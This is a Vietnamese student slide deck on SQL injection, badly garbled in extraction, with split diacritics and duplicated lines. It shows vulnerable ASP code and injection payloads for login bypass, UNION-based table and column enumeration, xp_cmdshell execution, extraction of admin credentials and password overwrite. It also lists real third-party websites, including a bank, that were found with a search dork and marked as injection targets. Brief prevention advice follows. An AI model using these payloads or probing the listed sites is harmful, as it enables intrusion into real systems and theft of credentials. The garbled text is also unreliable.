SQL INJECTION SQL INJECTION
ộ
ộN i dung trình bày: N i dung trình bày:
ạ ạ
ấ ấ
ằ ằ
SQL Injection là gì? SQL Injection là gì? Các d ng t n công b ng SQL Các d ng t n công b ng SQL
Injection Injection ỹ ỹ
ậ ấ ậ ấ
ằ ằ
K Thu t t n công b ng sql injection K Thu t t n công b ng sql injection Cách phòng tránh Cách phòng tránh DemoDemo
SQL Injection là gì? SQL Injection là gì?
ợ ụ ợ ụ
ỗ ỗ
ệ ệ
ả ả
ậ ậ ỗ ủ ệ ỗ ủ ệ
ị i c a h qu n tr ị i c a h qu n tr onon) và thi hành ) và thi hành
ấ ợ ấ ợ
ệ ệ ả ủ ả ủ
ấ ấ ể ự ể ự
ữ ữ ệ ệ
do có toàn quy n trên c s d li u c a do có toàn quy n trên c s d li u c a
ậ ậ
ả ả
ữ ứ ườ ng x y ra trên các ng d ng web có d ườ ữ ứ ng x y ra trên các ng d ng web có d ả ả ả ả
ằ ằ
ụ ụ ị ơ ở ữ ệ c qu n lí b ng các h qu n tr c s d ị ơ ở ữ ệ c qu n lí b ng các h qu n tr c s d
ộ ậ ấ SQL injection là m t kĩ thu t t n công l SQL injection là m t kĩ thu t t n công l i d ng l ộ ậ ấ i d ng l ữ ệ ể ổ h ng trong vi c ki m tra d li u nh p trong các ữ ệ ể ổ h ng trong vi c ki m tra d li u nh p trong các ụ ứ ng d ng web và các thông báo l ụ ứ ng d ng web và các thông báo l ể ơ ở ữ ệ c s d li u đ "tiêm vào" (injecti ể ơ ở ữ ệ c s d li u đ "tiêm vào" (injecti các câu l nh SQL b t h p pháp. các câu l nh SQL b t h p pháp. ẻ ạ ậ H u qu c a nó r t tai h i vì nó cho phép nh ng k H u qu c a nó r t tai h i vì nó cho phép nh ng k ậ ẻ ạ ệ ấ t n công có th th c hi n các thao tác xóa, hi u ệ ấ t n công có th th c hi n các thao tác xóa, hi u ơ ở ữ ệ ủ ỉ ề ỉch nh, ơ ở ữ ệ ủ ề ch nh, ụ ứ ụ ứ ng d ng, th m chí là server mà ng d ng đó đang ụ ứ ụ ứ ng d ng, th m chí là server mà ng d ng đó đang ch y. ạch y. ạ ỗ L i này th L i này th ỗ ệ ượ li u đ ệ ượ li u đ ư ệ li u nh SQL Server, MySQL, Oracle, DB2, ư ệ li u nh SQL Server, MySQL, Oracle, DB2, Sysbase. Sysbase.
(cid:0) (cid:0)
ằ ằ
ạ ạ
ấ ấ
Các d ng t n công b ng SQL Injection Các d ng t n công b ng SQL Injection
ể ể
ậ ậ
ồ ồ ng bao g m: ng bao g m:
ườ ạ ố Có b n d ng thông th Có b n d ng thông th ườ ạ ố ượ V t qua ki m tra lúc đăng nh p (authorization V t qua ki m tra lúc đăng nh p (authorization ượ bypass) bypass) ệ ử ụ S d ng câu l n SELECT S d ng câu l n SELECT ệ ử ụ ệ ử ụ S d ng câu l nh INSERT S d ng câu l nh INSERT ệ ử ụ ử ụ S d ng các storedprocedures [2], [3] S d ng các storedprocedures [2], [3] ử ụ
ạ ạ
ượ ượ
ấ D ng t n công v ấ D ng t n công v
ể t qua ki m tra ể t qua ki m tra
ệ ệ i khi dùng các câu l nh i khi dùng các câu l nh
ơ ở ữ ệ ủ ứ ơ ở ữ ệ ủ ứ
ườ ườ ợ ợ
ng h p này, ng ng h p này, ng ộ ộ
ậ ậ
đăng nh pậ đăng nh pậ ỗ ờ ậ Đăng nh p nh vào l Đăng nh p nh vào l ỗ ờ ậ SQL thao tác trên c s d li u c a ng SQL thao tác trên c s d li u c a ng ụ ụd ng web. d ng web. ể ườ Trong tr Trong tr i ta có th dùng ể ườ i ta có th dùng ị ể ể hai trang, m t trang HTML đ hi n th form ị ể ể hai trang, m t trang HTML đ hi n th form ể ử ộ ệ nh p li u và m t trang ASP dùng đ x lí ể ử ộ ệ nh p li u và m t trang ASP dùng đ x lí ụ ậ ừ i dùng. Ví d : phía ng thông tin nh p t ụ ậ ừ i dùng. Ví d : phía ng thông tin nh p t
ườ ườ
login.htm login.htm
execlogin.asp execlogin.asp <% <%
Dim vUsrName, vPassword, objRS, strSQL vUsrName = Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") Request.Form("fPASSWORD")
"WHERE "WHERE
strSQL = "SELECT * FROM T_USERS " & _ strSQL = "SELECT * FROM T_USERS " & _ USR_NAME=' " & vUsrName & _ USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “ " ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open Set objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." strSQL, "DSN=..." If (objRS.EOF) Then If (objRS.EOF) Then
Response.Write "Invalid login." Response.Write "Invalid login."
Else Else
Response.Write "You are logged in as " & Response.Write "You are logged in as " &
objRS("USR_NAME") objRS("USR_NAME") End If End If
Set objRS = Nothing %> Set objRS = Nothing %>
ỗ ỗ ậ ậ
ủ ủ
ấ ẽ ượ ọ ấ ẽ ượ ọ
ợ ệ ợ ệ và s tr v t và s tr v t
ườ ườ
ả ườ Ng i dùng nh p chu i sau vào trong c 2 ô Ng ả ườ i dùng nh p chu i sau vào trong c 2 ô ệ ậ nh p li u username/password c a trang ệ ậ nh p li u username/password c a trang login.htm là: ' OR ' ' = ' ' OR ' ' = ' . . login.htm là: ệ ự Lúc này, câu truy v n s đ c g i th c hi n Lúc này, câu truy v n s đ ệ ự c g i th c hi n là: SELECT * FROM T_USERS WHERE là: SELECT * FROM T_USERS WHERE USR_NAME ='' OR ''='' and USR_NAME ='' OR ''='' and USR_PASSWORD= '' OR ''='' USR_PASSWORD= '' OR ''='' ẽ ả ề ấ ấ Câu truy v n này là h p l t Câu truy v n này là h p l ẽ ả ề ấ ấ t ạ ủ ả ả c các b n ghi c a T_USERS và đo n mã ạ ủ ả ả c các b n ghi c a T_USERS và đo n mã ấ ậ ườ ử ế i dùng đăng nh p b t ti p theo x lí ng ấ ậ ườ ử ế i dùng đăng nh p b t ti p theo x lí ng ậ ư ợ i dùng đăng nh p h p pháp này nh là ng ậ ư ợ i dùng đăng nh p h p pháp này nh là ng ợ ệ . h p l ợ ệ h p l .
ạ ạ
ấ ấ
ệ ệ
ử ụ D ng t n công s d ng câu l nh ử ụ D ng t n công s d ng câu l nh SELECT SELECT ể ấ ể ấ
ệ ượ ệ ượ ả ả ả ả
ơ ở ơ ở i t i t
ở ầ ở ầ
ườ ườ ủ ủ ẽ ẽ ậ ậ
ể ể
ẻ ể ự Đ th c hi n đ c ki u t n công này, k Đ th c hi n đ ẻ ể ự c ki u t n công này, k ợ ụ ể ấ i d ng t n công ph i có kh năng hi u và l ợ ụ ể ấ t n công ph i có kh năng hi u và l i d ng ỗ ừ ệ ố h th ng các s h trong các thông báo l ỗ ừ ệ ố h th ng các s h trong các thông báo l ệ ế ể ể đ dò tìm các đi m y u kh i đ u cho vi c ệ ế ể ể đ dò tìm các đi m y u kh i đ u cho vi c ấ ất n công. t n công. ộ Thông th ng, s có m t trang nh n ID c a Thông th ộ ng, s có m t trang nh n ID c a ị ồ ầ tin c n hi n th r i sau đó truy ị ồ ầ tin c n hi n th r i sau đó truy ủ ộ ấ v n n i dung c a tin có ID này. ủ ộ ấ v n n i dung c a tin có ID này.
<% <%
Dim vNewsID, objRS, strSQL Dim vNewsID, objRS, strSQL vNewsID = Request("ID") vNewsID = Request("ID") strSQL = "SELECT * FROM T_NEWS strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID WHERE NEWS_ID =" & vNewsID Set objRS = Set objRS = Server.CreateObject("ADODB.Recordset") Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." objRS.Open strSQL, "DSN=..." Set objRS = Nothing Set objRS = Nothing
%> %>
ẽ ả ề ấ ả t c ẽ ả ề ấ ả t c ệ ệ ẽ ự ẽ ự ữ ệ ữ ệ b ng d li u vì nó s th c hi n b ng d li u vì nó s th c hi n
ấ Câu truy v n SQL lúc này s tr v t Câu truy v n SQL lúc này s tr v t ấ ừ ả các article t ừ ả các article t câu l nh:ệ câu l nh:ệ
SELECT * FROM T_NEWS WHERE SELECT * FROM T_NEWS WHERE
NEWS_ID=0 or 1=1 NEWS_ID=0 or 1=1
ệ ệ
ế ế
ẽ ự ẽ ự ữ ữ
ấ ả ấ ả
ữ ệ ữ ệ
ượ ượ
ệ ệ
'' UNION SELECT ALL SELECT OtherField UNION SELECT ALL SELECT OtherField (*) FROM OtherTable WHERE ' ' ' '=='' (*) FROM OtherTable WHERE ầ ấ Lúc này, ngoài câu truy v n đ u không thành công, Lúc này, ngoài câu truy v n đ u không thành công, ầ ấ ệ ươ ng trình s th c hi n thêm l nh ti p theo sau ch ệ ươ ch ng trình s th c hi n thêm l nh ti p theo sau ừ khóa UNION n a. t ừ t khóa UNION n a. ế N u chúng ta thêm ' UNION SELECT name ếN u chúng ta thêm ' UNION SELECT name là có th ể FROM sysobjects WHERE xtype = 'U' là có th ể FROM sysobjects WHERE xtype = 'U' li li
ả t c các b ng d li u. ả t c các b ng d li u.
c tên t c tên t
t kê đ t kê đ
ạ ạ
ấ ấ
ệ ệ
ứ ứ
ể ể c dùng khi h th ng không ki m tra c dùng khi h th ng không ki m tra
ử ụ D ng t n công s d ng câu l nh ử ụ D ng t n công s d ng câu l nh INSERT INSERT ế ể Ch c năng không th thi u là sau khi đăng kí Ch c năng không th thi u là sau khi đăng kí ế ể ệ ể ườ i dùng có th xem và hi u thành công, ng ệ ườ ể i dùng có th xem và hi u thành công, ng ủ ỉ ch nh thông tin c a mình. SQL injection có ủ ỉ ch nh thông tin c a mình. SQL injection có ể ượ th đ ể ượ th đ tính h p l tính h p l
ợ ệ ủ ợ ệ ủ ậ ậ ệ ố ệ ố c a thông tin nh p vào. c a thông tin nh p vào.
ộ ộ
ệ ệ
ể ể
ụ ụ
ạ ạ
ế ế
ệ ệ
Set objRS = Set objRS =
Ví d , m t câu l nh INSERT có th có cú pháp Ví d , m t câu l nh INSERT có th có cú pháp ạ ạd ng: INSERT INTO TableName VALUES('Value d ng: INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three'). N u đo n mã xây One', 'Value Two', 'Value Three'). N u đo n mã xây ạ ự d ng câu l nh SQL có d ng : ạ ự d ng câu l nh SQL có d ng : <% strSQL = "INSERT INTO TableName <% strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set strValueTwo & " ', ' " & strValueThree & " ') " Set objRS = Server.CreateObject("ADODB.Recordset") objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." (cid:0) objRS.Open strSQL, "DSN=..." Nothing %> Nothing %>
(cid:0)
ấ ấ
ạ ạ
ệ ấ ệ ấ
ẽ ẽ ự c th c thi ự c th c thi
ạ ấ ớ ạ ấ ớ ề ề ụ ế ụ ế ạ ạ
ệ ệ
ệ ố ệ ố ổ ổ
ử ụ D ng t n công s d ng stored ử ụ D ng t n công s d ng stored procedures procedures ằ Vi c t n công b ng storedprocedures s gây Vi c t n công b ng storedprocedures s gây ằ ế ứ ụ ượ tác h i r t l n n u ng d ng đ ế ứ ụ ượ tác h i r t l n n u ng d ng đ ị ệ ố 'sa' ả ớ 'sa'.. v i quy n qu n tr h th ng ị ệ ố ả ớ v i quy n qu n tr h th ng ạ Ví d , n u ta thay đo n mã tiêm vào d ng: Ví d , n u ta thay đo n mã tiêm vào d ng: ạ ' ' ; EXEC xp_cmdshell 'cmd.exe dir C: '. ; EXEC xp_cmdshell 'cmd.exe dir C: '. ẽ ự ệ ệ Lúc này h th ng s th c hi n l nh li t kê Lúc này h th ng s th c hi n l nh li ẽ ự ệ ệ t kê ệ ặ ư ụ đĩa C:\ cài đ t server. Vi c th m c trên ệ ư ụ ặ th m c trên đĩa C:\ cài đ t server. Vi c ỳ ể ạ phá ho i ki u nào tu thu c vào câu l nh ỳ ể ạ phá ho i ki u nào tu thu c vào câu l nh ằ ằđ ng sau cmd.exe. đ ng sau cmd.exe.
ệ ệ ộ ộ
ậ ấ ậ ấ
ằ ằ
ỹ ỹ
K Thu t t n công b ng sql injection K Thu t t n công b ng sql injection
ế ế
ướ ướ ướ ướ ướ ướ
ủ ủ ị ị
ọ ọ
ậ ậ ế ế ử ử ả ả ụ B c 1: Tìm ki m m c tiêu. B c 1: Tìm ki m m c tiêu. ụ ỗ ế ủ ể B c 2: Ki m tra ch y u c a trang web B c 2: Ki m tra ch y u c a trang web ỗ ế ủ ể ậ B c 3: Nh n data qua ‘database using B c 3: Nh n data qua ‘database using ậ ODBC error message’ ODBC error message’ ướ B c 4: Xác đ nh tên c a các column trong B c 4: Xác đ nh tên c a các column trong ướ table table ữ ệ ướ B c 5: Thu th p các d li u quan tr ng. B c 5: Thu th p các d li u quan tr ng. ữ ệ ướ ướ B c 6: X lý k t qu tìm đ B c 6: X lý k t qu tìm đ ướ ượ c ượ c
ụ ụ
ế ế
Tìm ki m m c tiêu Tìm ki m m c tiêu
ạ ạ ể ể ấ ỳ ộ ấ ỳ ộ
ư ư
ạ ạ ạ ạ i cho i cho
B n có th dùng các b t k m t search B n có th dùng các b t k m t search ạ engine nào trên m ng nh các trang login, ạ engine nào trên m ng nh các trang login, search, feedback… search, feedback… ể B n có th “custome Search Engine” l B n có th “custome Search Engine” l ể ầ ủ ạ ớ phù h p v i yêu c u c a b n ầ ủ ạ ớ phù h p v i yêu c u c a b n
ợ ợ
ự ự
ệ ệ
ệ ệ
Th c hi n câu l nh search: Th c hi n câu l nh search: inurl:php?id= site:com.vn inurl:php?id= site:com.vn
ả ả ượ ượ ế Đây là k t qu thu đ ế Đây là k t qu thu đ c. c.
ượ ủ ượ ủ
ế ế
ả ả
K t Qu Tìm Đ c C a Nhóm K t Qu Tìm Đ c C a Nhóm
http://www.vsmc.com.vn/news_detail.php?id=19' http://www.vsmc.com.vn/news_detail.php?id=19' http://www.toeic.com.vn/info/details.php?id=383' http://www.toeic.com.vn/info/details.php?id=383' http://www.phanhoadigi.com.vn/list_product.php? http://www.phanhoadigi.com.vn/list_product.php? ID=1173&namecate=EOS' ID=1173&namecate=EOS' http://forum.key.com.vn/viewtopic.php?id=362 http://forum.key.com.vn/viewtopic.php?id=362 http://www.biconsi.com.vn/index.php?id=36' http://www.biconsi.com.vn/index.php?id=36' http://www.vietphone.com.vn/download.php?mode=download&id=19' http://www.vietphone.com.vn/download.php?mode=download&id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://thammyvienthanhbinh.com.vn/detail.php?id=19' http://www.voip.com.vn/download.php?mode=download&id=28' http://www.voip.com.vn/download.php?mode=download&id=28'
http://bidv.com.vn/advert.asp?id=36' http://bidv.com.vn/advert.asp?id=36' http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.licogi.com.vn/home.asp?ID=234&Langid=2%27 http://www.galilcol.ac.il/page.asp?id=17 http://www.galilcol.ac.il/page.asp?id=17‘‘ ấ ả Ghi chú: không ph i trang nào cũng t n công đ Ghi chú: không ph i trang nào cũng t n công đ ấ ả
ượ c ượ c
ể ể
ộ ố ệ ộ ố ệ ể ề ể ề
ặ ặ
ệ ỗ i. ệ ỗ i. ộ ố ộ ố ệ ỗ i ệ ỗ i
ỗ ế ủ ỗ ế ủ Ki m tra ch y u c a trang Ki m tra ch y u c a trang webweb ạ B n có th đi n thêm m t s l nh trên url, B n có th đi n thêm m t s l nh trên url, ạ ặ ho c trên các from login, search, ho c search ặ ho c trên các from login, search, ho c search ể đ phát hi n l ể đ phát hi n l Sau đây là m t s cách thêm và phát hi n l Sau đây là m t s cách thêm và phát hi n l ủ ủc a nhóm mình: c a nhóm mình:
ậ
ề ề c quan tr ng nh t và đòi h i nhi u c quan tr ng nh t và đòi h i nhi u
ậNh n data qua ‘database using Nh n data qua ‘database using ODBC error message’ ODBC error message’ ỏ ấ ướ ỏ ấ ướ ề ơ ở ữ ệ ậ ẫ ự ề ơ ở ữ ệ ậ ẫ ự
ứ ứ
ủ ấ ả ủ ấ ả ư ư ể ể
ọ Đây là b Đây là b ọ ể kĩ thu t l n s am hi u v c s d li u. ể kĩ thu t l n s am hi u v c s d li u. Table INFORMATION_SCHEMA.COLUMNS Table INFORMATION_SCHEMA.COLUMNS ạ t c các column trong table. B n ch a tên c a t ạ t c các column trong table. B n ch a tên c a t có th khai thác nh sau: có th khai thác nh sau: UNION SELECT http://vitcon/index.asp?id=10 UNION SELECT http://vitcon/index.asp?id=10 TOP 1 COLUMN_NAME FROM TOP 1 COLUMN_NAME FROM INFORMATION_SHEMA.COLUMNS INFORMATION_SHEMA.COLUMNS WHERE TABLE_NAME=‘admin_login’ WHERE TABLE_NAME=‘admin_login’
Out put: Out put:
Microsoft OLE DB Provider for ODBC Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’[Microsoft][ODBC Drivers error ‘80040e07’[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the items must appear in the select list if the statement contains a UNION operator. statement contains a UNION operator. /index.asp, line 5 /index.asp, line 5
ậ ậ
ữ ệ ữ ệ
http://vitcon/index.asp?id=10
ủ ủ c các tên c a các c các tên c a các
Thu th p các d li u quan Thu th p các d li u quan tr ngọtr ngọ ượ ị ả Chúng ta ph i xác đ nh đ Chúng ta ph i xác đ nh đ ượ ị ả table và column quan tr ng.ọ table và column quan tr ng.ọ ầ ể ấ Chúng ta có th l y login_name đ u tiên Chúng ta có th l y login_name đ u tiên ầ ể ấ ư trong table “admin_login” nh sau: ư trong table “admin_login” nh sau: http://vitcon/index.asp?id=10 UNION UNION SELECT TOP 1 login_name From SELECT TOP 1 login_name From admin_login— admin_login—
ầ ầ ậ ậ ạ ạ ễ ễ c admin user đ u c admin user đ u
http://vitcon/index.asp?id=10
ượ ể ượ ể c đ tìm c đ tìm
ờ ạ ẽ ờ ạ ẽ ậ ượ ậ ượ b n s nh n đ b n s nh n đ c password c a c password c a
ượ B n d dàng nh n ra đ B n d dàng nh n ra đ ượ tiên có login_name là ‘aaa’. tiên có login_name là ‘aaa’. Sau đó dung tên user tìm đ Sau đó dung tên user tìm đ password: password: http://vitcon/index.asp?id=10 UNION UNION SELECT TOP 1 password FROM SELECT TOP 1 password FROM admin_login where login _name=‘aaa’— admin_login where login _name=‘aaa’— ủ Bây gi Bây gi ủ ‘aaa’ là ‘bbb’. ‘aaa’ là ‘bbb’.
ử ử
ế ế
ả ả
X lý k t qu tìm đ X lý k t qu tìm đ
ượ ượ c c
ạ ạ
ổ ổ
ể ể
ạ ạ
ệ ướ ệ ướ
ự ự
i i
ặ ạ ặ ạ ề
ủ ấ ả Khi b n đã có tên c a t t c các column trong table, Khi b n đã có tên c a t ủ ấ ả t c các column trong table, ớ ộ ặ ể ạ b n có th UPDATE ho c INSERT m t record m i ớ ộ ặ ể ạ b n có th UPDATE ho c INSERT m t record m i vào table này. vào table này. ư ủ ể Đ thay đ i password c a ‘aaa’ b n có th làm nh Đ thay đ i password c a ‘aaa’ b n có th làm nh ể ư ủ sau: sau: http://vitcon/index.asp?id=10 ;UPDATE http://vitcon/index.asp?id=10 ;UPDATE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE ‘admin_login’ SET ‘password’ =‘ccc’ WHERE login_name=‘aaa’– login_name=‘aaa’– ự ế Ho c b n login tr c ti p vào và th c hi n d Ho c b n login tr c ti p vào và th c hi n d ự ế ềquy n user đó. quy n user đó.
Cách phòng tránh Cách phòng tránh
ặ ặ ẽ ẽ
ế ế
ử ụ ử ụ ụ ụ
ườ ườ ứ ứ
ề ề
ư ư ệ ạ ệ ạ ế ế ơ ế ể ớ ầ C n có c ch ki m soát ch t ch và gi i C n có c ch ki m soát ch t ch và gi ơ ế ể ớ ầ i ề ử ườ ả ữ ệ ạ i h n quy n x lí d li u đ n tài kho n ng ề ử ườ ả ữ ệ ạ h n quy n x lí d li u đ n tài kho n ng i ứ dùng mà ng d ng web đang s d ng. ứ dùng mà ng d ng web đang s d ng. ụ Các ng d ng thông th Các ng d ng thông th ng nên tránh dùng ụ ng nên tránh dùng ề ế đ n các quy n nh dbo hay sa. Quy n càng ề ế đ n các quy n nh dbo hay sa. Quy n càng ị ạ t h i càng ít. b h n ch , thi ị ạ b h n ch , thi t h i càng ít.
ậ ậ ạ ỏ ấ ạ ỏ ấ
ố ố
ứ ứ
ườ ườ ế ộ t l ế ộ t l
ng ti ng ti ẻ ấ ẻ ấ ậ ậ t kĩ thu t có th cho phép k t n công bi t kĩ thu t có th cho phép k t n công bi các chi các chi ế t ế t
ế ủ ệ ố ế ủ ệ ố ể ể ứ Lo i b b t kì thông tin kĩ thu t nào ch a Lo i b b t kì thông tin kĩ thu t nào ch a ứ ệ ườ ể i trong thông đi p chuy n xu ng cho ng ệ ườ ể i trong thông đi p chuy n xu ng cho ng ỗ ụ i. dùng khi ng d ng có l ỗ ụ i. dùng khi ng d ng có l ỗ Các thông báo l Các thông báo l i thông th ỗ i thông th ể ế ti ể ế ti ượ c đi m y u c a h th ng. đ ượ đ c đi m y u c a h th ng.